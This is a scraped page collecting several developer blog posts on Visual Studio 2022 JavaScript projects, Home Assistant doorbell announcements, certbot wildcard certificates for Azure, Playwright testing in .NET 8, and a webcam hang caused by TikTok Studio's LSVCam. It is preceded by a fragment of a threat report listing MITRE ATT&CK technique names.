    Audio Capture

    Screen Capture

    Archive Collected Data: Archive via Utility

    Command and Control
    T1105

    T1571

    Ingress Tool Transfer

    Non-Standard Port

    Exfiltration
    T1041 Exfiltration Over C2 Channel

     

    Authors:

    Sathwik Ram Prakki

    Kartikkumar Jivani



    Source link

  • JavaScript and TypeScript Projects with React, Angular, or Vue in Visual Studio 2022 with or without .NET

    JavaScript and TypeScript Projects with React, Angular, or Vue in Visual Studio 2022 with or without .NET



    I was reading Gabby’s blog post about the new TypeScript/JavaScript project experience in Visual Studio 2022. You should read the docs on JavaScript and TypeScript in Visual Studio 2022.

    If you’re used to ASP.NET apps when you think about apps that are JavaScript heavy, “front end apps” or TypeScript focused, it can be confusing as to “where does .NET fit in?”

    You need to consider the responsibilities of your various projects or subsystems and the multiple totally valid ways you can build a web site or web app. Let’s consider just a few:

    1. An ASP.NET Web app that renders HTML on the server but uses TS/JS
      • This may have a Web API, Razor Pages, with or without the MVC pattern.
      • You maybe have just added JavaScript via <script> tags
      • Maybe you added a script minimizer/minifier task
      • Can be confusing because it can feel like your app needs to ‘build both the client and the server’ from one project
    2. A mostly JavaScript/TypeScript frontend app where the HTML could be served from any web server (node, kestrel, static web apps, nginx, etc)
      • This app may use Vue or React or Angular but it’s not an “ASP.NET app”
      • It calls backend Web APIs that may be served by ASP.NET, Azure Functions, 3rd party REST APIs, or all of the above
      • This scenario has sometimes been confusing for ASP.NET developers who may get confused about responsibility. Who builds what, where do things end up, how do I build and deploy this?

    VS2022 brings JavaScript and TypeScript support into VS with a full JavaScript Language Service based on TS. It provides a TypeScript NuGet Package so you can build your whole app with MSBuild and VS will do the right thing.

    NEW: Starting in Visual Studio 2022, there is a new JavaScript/TypeScript project type (.esproj) that allows you to create standalone Angular, React, and Vue projects in Visual Studio.

    The .esproj concept is great for folks familiar with Visual Studio as we know that a Solution contains one or more Projects. Visual Studio manages files for a single application in a Project. The project includes source code, resources, and configuration files. In this case we can have a .csproj for a backend Web API and an .esproj that uses a client side template like Angular, React, or Vue.

    Thing is, historically when Visual Studio supported Angular, React, or Vue, it’s templates were out of date and not updated enough. VS2022 uses the native CLIs for these front ends, solving that problem with Angular CLI, Create React App, and Vue CLI.

    If I am in VS and go “File New Project” there are Standalone templates that solve Example 2 above. I’ll pick JavaScript React.

    Standalone JavaScript Templates in VS2022

    Then I’ll click “Add integration for Empty ASP.NET Web API. This will give me a frontend with javascript ready to call a ASP.NET Web API backend. I’ll follow along here.

    Standalone JavaScript React Template

    It then uses the React CLI to make the front end, which again, is cool as it’s whatever version I want it to be.

    React Create CLI

    Then I’ll add my ASP.NET Web API backend to the same solution, so now I have an esproj and a csproj like this

    frontend and backend

    Now I have a nice clean two project system – in this case more JavaScript focused than .NET focused. This one uses npm to startup the project using their web development server and proxyMiddleware to proxy localhost:3000 calls over to the ASP.NET Web API project.

    Here is a React app served by npm calling over to the Weather service served from Kestrel on ASP.NET.

    npm app running in VS 2022 against an ASP.NET Web API

    This is inverted than most ASP.NET Folks are used to, and that’s OK. This shows me that Visual Studio 2022 can support either development style, use the CLI that is installed for whatever Frontend Framework, and allow me to choose what web server and web browser (via Launch.json) I want.

    If you want to flip it, and put ASP.NET Core as the primary and then bring in some TypeScript/JavaScript, follow this tutorial because that’s also possible!


    Sponsor: Make login Auth0’s problem. Not yours. Provide the convenient login features your customers want, like social login, multi-factor authentication, single sign-on, passwordless, and more. Get started for free.




    About Scott

    Scott Hanselman is a former professor, former Chief Architect in finance, now speaker, consultant, father, diabetic, and Microsoft employee. He is a failed stand-up comic, a cornrower, and a book author.

    facebook
    bluesky
    subscribe
    About   Newsletter

    Hosting By
    Hosted on Linux using .NET in an Azure App Service










    Source link

  • Using Home Assistant to integrate a Unifi Protect G4 Doorbell and Amazon Alexa to announce visitors

    Using Home Assistant to integrate a Unifi Protect G4 Doorbell and Amazon Alexa to announce visitors



    I am not a Home Assistant expert, but it’s clearly a massive and powerful ecosystem. I’ve interviewed the creator of Home Assistant on my podcast and I encourage you to check out that chat.

    Home Assistant can quickly become a hobby that overwhelms you. Every object (entity) in your house that is even remotely connected can become programmable. Everything. Even people! You can declare that any name:value pair that (for example) your phone can expose can be consumable by Home Assistant. Questions like “is Scott home” or “what’s Scott’s phone battery” can be associated with Scott the Entity in the Home Assistant Dashboard.

    I was amazed at the devices/objects that Home Assistant discovered that it could automate. Lights, remotes, Spotify, and more. You’ll find that any internally connected device you have likely has an Integration available.

    Temperature, Light Status, sure, that’s easy Home Automation. But integrations and 3rd party code can give you details like “Is the Living Room dark” or “is there motion in the driveway.” From these building blocks, you can then build your own IFTTT (If This Then That) automations, combining not just two systems, but any and all disparate systems.

    What’s the best part? This all runs LOCALLY. Not in a cloud or the cloud or anyone’s cloud. I’ve got my stuff running on a Raspberry Pi 4. Even better I put a Power Over Ethernet (PoE) hat on my Rpi so I have just one network wire into my hub that powers the Pi.

    I believe setting up Home Assistant on a Pi is the best and easiest way to get started. That said, you can also run in a Docker Container, on a Synology or other NAS, or just on Windows or Mac in the background. It’s up to you. Optionally, you can pay Nabu Casa $5 for remote (outside your house) network access via transparent forwarding. But to be clear, it all still runs inside your house and not in the cloud.

    Basic Home Assistant Setup

    OK, to the main point. I used to have an Amazon Ring Doorbell that would integrate with Amazon Alexa and when you pressed the doorbell it would say “Someone is at the front door” on our all Alexas. It was a lovely little integration that worked nicely in our lives.

    Front Door UniFi G4 Doorbell

    However, I swapped out the Ring for a Unifi Protect G4 Doorbell for a number of reasons. I don’t want to pump video to outside services, so this doorbell integrates nicely with my existing Unifi installation and records video to a local hard drive. However, I lose any Alexa integration and this nice little “someone is at the door” announcement. So this seems like a perfect job for Home Assistant.

    Here’s the general todo list:

    • Install Home Assistant
    • Install Home Assistant Community Store
      • This enables 3rd party “untrusted” integrations directly from GitHub. You’ll need a GitHub account and it’ll clone custom integrations directly into your local HA.
      • I also recommend the Terminal & SSH (9.2.2), File editor (5.3.3) add ons so you can see what’s happening.
    • Get the UniFi Protect 3rd party integration for Home Assistant
      • NOTE: Unifi Protect support is being promoted in Home Assistant v2022.2 so you won’t need this step soon as it’ll be included.
      • “The UniFi Protect Integration adds support for retrieving Camera feeds and Sensor data from a UniFi Protect installation on either an Ubiquiti CloudKey+, Ubiquiti UniFi Dream Machine Pro or UniFi Protect Network Video Recorder.”
      • Authenticate and configure this integration.
    • Get the Alexa Media Player integration
      • This makes all your Alexas show up in Home Assistant as “media players” and also allows you to tts (text to speech) to them.
      • Authenticate and configure this integration.

    I recommend going into your Alexa app and making a Multi-room Speaker Group called “everywhere.” Not only because it’s nice to be able to say “play the music everywhere” but you can also target that “Everywhere” group in Home Assistant.

    Go into your Home Assistant UI at http://homeassistant.local:8123/ and into Developer Tools. Under Services, try pasting in this YAML and clicking “call service.”

    service: notify.alexa_media_everywhere
    data:
      message: Someone is at the front door, this is a test
      data:
        type: announce
        method: speak

    If that works, you know you can automate Alexa and make it say things. Now, go to Configuration, Automation, and Add a new Automation. Here’s mine. I used the UI to create it. Note that your Entity names may be different if you give your front doorbell camera a different name.

    Binary_sensor.front_door_doorbell

    Notice the format of Data, it’s name value pairs within a single field’s value.

    Alexa Action

    …but it also exists in a file called Automations.yaml. Note that the “to: ‘on’” trigger is required or you’ll get double announcements, one for each state change in the doorbell.

    - id: '1640995128073'
      alias: G4 Doorbell Announcement with Alexa
      description: G4 Doorbell Announcement with Alexa
      trigger:
      - platform: state
        entity_id: binary_sensor.front_door_doorbell
        to: 'on'
      condition: []
      action:
      - service: notify.alexa_media_everywhere
        data:
          data:
            type: announce
            method: speak
          message: Someone is at the front door
      mode: single

    It works! There’s a ton of cool stuff I can automate now!


    Sponsor: Make login Auth0’s problem. Not yours. Provide the convenient login features your customers want, like social login, multi-factor authentication, single sign-on, passwordless, and more. Get started for free.




    About Scott

    Scott Hanselman is a former professor, former Chief Architect in finance, now speaker, consultant, father, diabetic, and Microsoft employee. He is a failed stand-up comic, a cornrower, and a book author.

    facebook
    bluesky
    subscribe
    About   Newsletter

    Hosting By
    Hosted on Linux using .NET in an Azure App Service










    Source link

  • 4 Python Loop Mistakes Everyone Makes (And How to Fix Them)



    4 Python Loop Mistakes Everyone Makes (And How to Fix Them)



    Source link

  • Using WSL and Let’s Encrypt to create Azure App Service SSL Wildcard Certificates

    Using WSL and Let’s Encrypt to create Azure App Service SSL Wildcard Certificates



    There are many let’s encrypt automatic tools for azure but I also wanted to see if I could use certbot in wsl to generate a wildcard certificate for the azure Friday website and then upload the resulting certificates to azure app service.

    Azure app service ultimately needs a specific format called dot PFX that includes the full certificate path and all intermediates.

    Per the docs, App Service private certificates must meet the following requirements:

    • Exported as a password-protected PFX file, encrypted using triple DES.
    • Contains private key at least 2048 bits long
    • Contains all intermediate certificates and the root certificate in the certificate chain.

    If you have a PFX that doesn’t meet all these requirements you can have Windows reencrypt the file.

    I use WSL and certbot to create the cert, then I import/export in Windows and upload the resulting PFX.

    Within WSL, install certbot:

    sudo apt update
    sudo apt install python3 python3-venv libaugeas0
    sudo python3 -m venv /opt/certbot/
    sudo /opt/certbot/bin/pip install --upgrade pip
    sudo /opt/certbot/bin/pip install certbot

    Then I generate the cert. You’ll get a nice text UI from certbot and update your DNS as a verification challenge. Change this to make sure it’s two lines, and your domains and subdomains are correct and your paths are correct.

    sudo certbot certonly --manual --preferred-challenges=dns --email YOUR@EMAIL.COM   
    --server https://acme-v02.api.letsencrypt.org/directory
    --agree-tos --manual-public-ip-logging-ok -d "azurefriday.com" -d "*.azurefriday.com"
    sudo openssl pkcs12 -export -out AzureFriday2023.pfx
    -inkey /etc/letsencrypt/live/azurefriday.com/privkey.pem
    -in /etc/letsencrypt/live/azurefriday.com/fullchain.pem

    I then copy the resulting file to my desktop (check your desktop path) so it’s now in the Windows world.

    sudo cp AzureFriday2023.pfx /mnt/c/Users/Scott/OneDrive/Desktop
    

    Now from Windows, import the PFX, note the thumbprint and export that cert.

    Import-PfxCertificate -FilePath "AzureFriday2023.pfx" -CertStoreLocation Cert:\LocalMachine\My 
    -Password (ConvertTo-SecureString -String 'PASSWORDHERE' -AsPlainText -Force) -Exportable

    Export-PfxCertificate -Cert Microsoft.PowerShell.Security\Certificate::LocalMachine\My\597THISISTHETHUMBNAILCF1157B8CEBB7CA1
    -FilePath 'AzureFriday2023-fixed.pfx' -Password (ConvertTo-SecureString -String 'PASSWORDHERE' -AsPlainText -Force)

    Then upload the cert to the Certificates section of your App Service, under Bring Your Own Cert.

    Custom Domains in Azure App Service

    Then under Custom Domains, click Update Binding and select the new cert (with the latest expiration date).

    image

    Next step is to make this even more automatic or select a more automated solution but for now, I’ll worry about this in September and it solved my expensive Wildcard Domain issue.




    About Scott

    Scott Hanselman is a former professor, former Chief Architect in finance, now speaker, consultant, father, diabetic, and Microsoft employee. He is a failed stand-up comic, a cornrower, and a book author.

    facebook
    bluesky
    subscribe
    About   Newsletter

    Hosting By
    Hosted on Linux using .NET in an Azure App Service










    Source link

  • Updating to .NET 8, updating to IHostBuilder, and running Playwright Tests within NUnit headless or headed on any OS

    Updating to .NET 8, updating to IHostBuilder, and running Playwright Tests within NUnit headless or headed on any OS



    All the Unit Tests passI’ve been doing not just Unit Testing for my sites but full on Integration Testing and Browser Automation Testing as early as 2007 with Selenium. Lately, however, I’ve been using the faster and generally more compatible Playwright. It has one API and can test on Windows, Linux, Mac, locally, in a container (headless), in my CI/CD pipeline, on Azure DevOps, or in GitHub Actions.

    For me, it’s that last moment of truth to make sure that the site runs completely from end to end.

    I can write those Playwright tests in something like TypeScript, and I could launch them with node, but I like running end unit tests and using that test runner and test harness as my jumping off point for my .NET applications. I’m used to right clicking and “run unit tests” or even better, right click and “debug unit tests” in Visual Studio or VS Code. This gets me the benefit of all of the assertions of a full unit testing framework, and all the benefits of using something like Playwright to automate my browser.

    In 2018 I was using WebApplicationFactory and some tricky hacks to basically spin up ASP.NET within .NET (at the time) Core 2.1 within the unit tests and then launching Selenium. This was kind of janky and would require to manually start a separate process and manage its life cycle. However, I kept on with this hack for a number of years basically trying to get the Kestrel Web Server to spin up inside of my unit tests.

    I’ve recently upgraded my main site and podcast site to .NET 8. Keep in mind that I’ve been moving my websites forward from early early versions of .NET to the most recent versions. The blog is happily running on Linux in a container on .NET 8, but its original code started in 2002 on .NET 1.1.

    Now that I’m on .NET 8, I scandalously discovered (as my unit tests stopped working) that the rest of the world had moved from IWebHostBuilder to IHostBuilder five version of .NET ago. Gulp. Say what you will, but the backward compatibility is impressive.

    As such my code for Program.cs changed from this

    public static void Main(string[] args)
    {
    CreateWebHostBuilder(args).Build().Run();
    }

    public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
    WebHost.CreateDefaultBuilder(args)
    .UseStartup<Startup>();

    to this:

    public static void Main(string[] args)
    {
    CreateHostBuilder(args).Build().Run();
    }

    public static IHostBuilder CreateHostBuilder(string[] args) =>
    Host.CreateDefaultBuilder(args).
    ConfigureWebHostDefaults(WebHostBuilder => WebHostBuilder.UseStartup<Startup>());

    Not a major change on the outside but tidies things up on the inside and sets me up with a more flexible generic host for my web app.

    My unit tests stopped working because my Kestral Web Server hack was no longer firing up my server.

    Here is an example of my goal from a Playwright perspective within a .NET NUnit test.

    [Test]
    public async Task DoesSearchWork()
    {
    await Page.GotoAsync(Url);

    await Page.Locator("#topbar").GetByRole(AriaRole.Link, new() { Name = "episodes" }).ClickAsync();

    await Page.GetByPlaceholder("search and filter").ClickAsync();

    await Page.GetByPlaceholder("search and filter").TypeAsync("wife");

    const string visibleCards = ".showCard:visible";

    var waiting = await Page.WaitForSelectorAsync(visibleCards, new PageWaitForSelectorOptions() { Timeout = 500 });

    await Expect(Page.Locator(visibleCards).First).ToBeVisibleAsync();

    await Expect(Page.Locator(visibleCards)).ToHaveCountAsync(5);
    }

    I love this. Nice and clean. Certainly here we are assuming that we have a URL in that first line, which will be localhost something, and then we assume that our web application has started up on its own.

    Here is the setup code that starts my new “web application test builder factory,” yeah, the name is stupid but it’s descriptive. Note the OneTimeSetUp and the OneTimeTearDown. This starts my web app within the context of my TestHost. Note the :0 makes the app find a port which I then, sadly, have to dig out and put into the Url private for use within my Unit Tests. Note that the <Startup> is in fact my Startup class within Startup.cs which hosts my app’s pipeline and Configure and ConfigureServices get setup here so routing all works.

    private string Url;
    private WebApplication? _app = null;

    [OneTimeSetUp]
    public void Setup()
    {
    var builder = WebApplicationTestBuilderFactory.CreateBuilder<Startup>();

    var startup = new Startup(builder.Environment);
    builder.WebHost.ConfigureKestrel(o => o.Listen(IPAddress.Loopback, 0));
    startup.ConfigureServices(builder.Services);
    _app = builder.Build();

    // listen on any local port (hence the 0)
    startup.Configure(_app, _app.Configuration);
    _app.Start();

    //you are kidding me
    Url = _app.Services.GetRequiredService<IServer>().Features.GetRequiredFeature<IServerAddressesFeature>().Addresses.Last();
    }

    [OneTimeTearDown]
    public async Task TearDown()
    {
    await _app.DisposeAsync();
    }

    So what horrors are buried in WebApplicationTestBuilderFactory? The first bit is bad and we should fix it for .NET 9. The rest is actually every nice, with a hat tip to David Fowler for his help and guidance! This is the magic and the ick in one small helper class.

    public class WebApplicationTestBuilderFactory 
    {
    public static WebApplicationBuilder CreateBuilder<T>() where T : class
    {
    //This ungodly code requires an unused reference to the MvcTesting package that hooks up
    // MSBuild to create the manifest file that is read here.
    var testLocation = Path.Combine(AppContext.BaseDirectory, "MvcTestingAppManifest.json");
    var json = JsonObject.Parse(File.ReadAllText(testLocation));
    var asmFullName = typeof(T).Assembly.FullName ?? throw new InvalidOperationException("Assembly Full Name is null");
    var contentRootPath = json?[asmFullName]?.GetValue<string>();

    //spin up a real live web application inside TestHost.exe
    var builder = WebApplication.CreateBuilder(
    new WebApplicationOptions()
    {
    ContentRootPath = contentRootPath,
    ApplicationName = asmFullName
    });
    return builder;
    }
    }

    The first 4 lines are nasty. Because the test runs in the context of a different directory and my website needs to run within the context of its own content root path, I have to force the content root path to be correct and the only way to do that is by getting the apps base directory from a file generated within MSBuild from the (aging) MvcTesting package. The package is not used, but by referencing it it gets into the build and makes that file that I then use to pull out the directory.

    If we can get rid of that “hack” and pull the directory from context elsewhere, then this helper function turns into a single line and .NET 9 gets WAY WAY more testable!

    Now I can run my Unit Tests AND Playwright Browser Integration Tests across all OS’s, headed or headless, in docker or on the metal. The site is updated to .NET 8 and all is right with my code. Well, it runs at least. 😉




    About Scott

    Scott Hanselman is a former professor, former Chief Architect in finance, now speaker, consultant, father, diabetic, and Microsoft employee. He is a failed stand-up comic, a cornrower, and a book author.

    facebook
    bluesky
    subscribe
    About   Newsletter

    Hosting By
    Hosted on Linux using .NET in an Azure App Service










    Source link

  • Webcam randomly pausing in OBS, Discord, and websites – LSVCam and TikTok Studio

    Webcam randomly pausing in OBS, Discord, and websites – LSVCam and TikTok Studio



    I use my webcam constantly for streaming and I’m pretty familiar with all the internals and how the camera model on Windows works. I also use OBS extensively, so I regularly use the OBS virtual camera and flow everything through Open Broadcasting Studio.

    For my podcast, I use Zencastr which is a web-based app that talks to the webcam via the browser APIs. For YouTubes, I’ll use Riverside or StreamYard, also webapps.

    I’ve done this reliably for the last several years without any trouble. Yesterday, I started seeing the most weird thing and it was absolutely perplexing and almost destroyed the day. I started seeing regular pauses in my webcam stream but only in two instances.

    • The webcam would pause for 10-15 seconds every 90 or so seconds when access the Webcam in a browser
    • I would see a long pause/hang in OBS when double clicking on my Video Source (Webcam) to view its properties

    Micah initially said USB but my usb bus and hubs have worked reliably for years. Thought something might have changed in my El Gato capture device, but that has also been rock solid for 1/2 a decade. Then I started exploring virtual cameras and looked in the windows camera dialog under settings for a list of all virtual cameras.

    Interestingly, virtual cameras don’t get listed under Cameras in Settings in Windows:

    List of Cameras in Windows

    From what I can tell, there’s no user interface to list out all of your cameras – virtual or otherwise – in windows.

    Here’s a quick PowerShell script you can run to list out anything ‘connected’ that also includes the string “cam” in your local devices

    Get-CimInstance -Namespace root\cimv2 -ClassName Win32_PnPEntity |
    Where-Object { $_.Name -match 'Cam' } |
    Select-Object Name, Manufacturer, PNPDeviceID

    and my output

    Name                                     Manufacturer        PNPDeviceID
    ---- ------------ -----------
    Cam Link 4K Microsoft USB\VID_0FD9&PID_0066&MI_00\7&3768531A&0&0000
    Digital Audio Interface (2- Cam Link 4K) Microsoft SWD\MMDEVAPI\{0.0.1.00000000}.{AF1690B6-CA2A-4AD3-AAFD-8DDEBB83DD4A}
    Logitech StreamCam WinUSB Logitech USB\VID_046D&PID_0893&MI_04\7&E36D0CF&0&0004
    Logitech StreamCam (Generic USB Audio) USB\VID_046D&PID_0893&MI_02\7&E36D0CF&0&0002
    Logitech StreamCam Logitech USB\VID_046D&PID_0893&MI_00\7&E36D0CF&0&0000
    Remote Desktop Camera Bus Microsoft UMB\UMB\1&841921D&0&RDCAMERA_BUS
    Cam Link 4K (Generic USB Audio) USB\VID_0FD9&PID_0066&MI_03\7&3768531A&0&0003
    Windows Virtual Camera Device Microsoft SWD\VCAMDEVAPI\B486E21F1D4BC97087EA831093E840AD2177E046699EFBF62B27304F5CCAEF57

    However, when I list out my cameras using JavaScript enumerateDevices() like this

    // Put variables in global scope to make them available to the browser console.
    async function listWebcams() {
    try {
    const devices = await navigator.mediaDevices.enumerateDevices();
    const webcams = devices.filter(device => device.kind === 'videoinput');

    if (webcams.length > 0) {
    console.log("Connected webcams:");
    webcams.forEach((webcam, index) => {
    console.log(`${index + 1}. ${webcam.label || `Camera ${index + 1}`}`);
    });
    } else {
    console.log("No webcams found.");
    }
    } catch (error) {
    console.error("Error accessing media devices:", error);
    }
    }
    listWebcams();

    I would get:

    Connected webcams:
    test.html:11 1. Logitech StreamCam (046d:0893)
    test.html:11 2. OBS Virtual Camera (Windows Virtual Camera)
    test.html:11 3. Cam Link 4K (0fd9:0066)
    test.html:11 4. LSVCam
    test.html:11 5. OBS Virtual Camera

    So, what, what’s LSVCam? And depending on how I’d call it I’d get the pause and

    getUserMedia error: NotReadableError NotReadableError: Could not start video source

    Some apps could see this LSVCam and others couldn’t. OBS really dislikes it, browsers really dislike it and it seemed to HANG on enumeration of cameras. Why can parts of Windows see this camera and others can’t?

    I don’t know. Do you?

    Regardless, it turns that it appears once in my registry, here (this is a dump of the key, you just care about the Registry PATH)

    Windows Registry Editor Version 5.00

    [HKEY_CLASSES_ROOT\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance\LSVCam]
    "FriendlyName"="LSVCam"
    "CLSID"="{BA80C4AD-8AED-4A61-B434-481D46216E45}"
    "FilterData"=hex:02,00,00,00,00,00,20,00,01,00,00,00,00,00,00,00,30,70,69,33,\
    08,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,00,00,00,00,30,74,79,33,00,\
    00,00,00,38,00,00,00,48,00,00,00,76,69,64,73,00,00,10,00,80,00,00,aa,00,38,\
    9b,71,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00

    If you want to get rid of it, delete HKEY_CLASSES_ROOT\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance\LSVCam

    WARNING: DO NOT delete the \Instance, just the LSVCam and below. I am a random person on the internet and you got here by googling, so if you mess up your machine by going into RegEdit.exe, I’m sorry to this man, but it’s above me now.

    Where did LSVCam.dll come from, you may ask? TikTok Live Studio, baby. Live Studio Video/Virtual Cam, I am guessing.

    Directory of C:\Program Files\TikTok LIVE Studio\0.67.2\resources\app\electron\sdk\lib\MediaSDK_V1

    09/18/2024 09:20 PM 218,984 LSVCam.dll
    1 File(s) 218,984 bytes

    This is a regression that started recently for me, so it’s my opinion that they are installing a virtual camera for their game streaming feature but they are doing it poorly. It’s either not completely installed, or hangs on enumeration, but the result is you’ll see hangs on camera enumeration in your apps, especually browser apps that poll for cameras changes or check on a timer.

    Nothing bad will happen if you delete the registry key BUT it’ll show back up when you run TikTok Studio again. I still stream to TikTok, I just delete this key each time until someone on the TikTok Studio development team sees this blog post.

    Hope this helps!




    About Scott

    Scott Hanselman is a former professor, former Chief Architect in finance, now speaker, consultant, father, diabetic, and Microsoft employee. He is a failed stand-up comic, a cornrower, and a book author.

    facebook
    bluesky
    subscribe
    About   Newsletter

    Hosting By
    Hosted on Linux using .NET in an Azure App Service










    Source link